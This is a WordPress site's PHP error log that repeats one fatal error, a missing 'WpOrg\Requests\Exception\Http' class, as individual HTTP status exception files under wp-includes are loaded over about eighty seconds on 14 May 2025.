[14-May-2025 14:34:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 14:34:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 14:34:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 14:34:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-May-2025 14:34:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 14:34:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 14:34:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 14:34:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 14:34:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 14:34:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 14:34:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 14:34:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-May-2025 14:34:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 14:34:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 14:34:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 14:34:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-May-2025 14:34:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 14:34:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 14:34:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 14:34:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-May-2025 14:34:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 14:34:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 14:34:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 14:34:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-May-2025 14:34:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 14:34:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 14:34:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 14:34:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-May-2025 14:34:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 14:34:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 14:34:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 14:34:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 14:34:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 14:34:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 14:35:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 14:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-May-2025 14:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 14:35:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 14:35:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 14:35:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 14:35:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 14:35:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 14:35:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 14:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 14:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 14:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 14:35:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 14:35:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 14:35:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 14:35:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 14:35:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 14:35:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-May-2025 14:35:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 14:35:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 14:35:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 14:35:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-May-2025 14:35:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 14:35:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 14:35:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 14:35:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 14:35:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 14:35:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 14:35:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 14:35:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-May-2025 14:35:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 14:35:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 14:35:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 14:35:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 14:35:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 14:35:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 14:35:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 14:35:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 14:35:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 14:35:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 14:35:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 14:35:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 14:35:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 14:35:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 14:35:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 14:35:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 14:35:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 14:35:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 14:35:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 14:35:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-May-2025 14:35:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 14:35:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 14:35:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 14:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-May-2025 14:35:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-May-2025 14:35:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-May-2025 14:35:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-May-2025 14:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
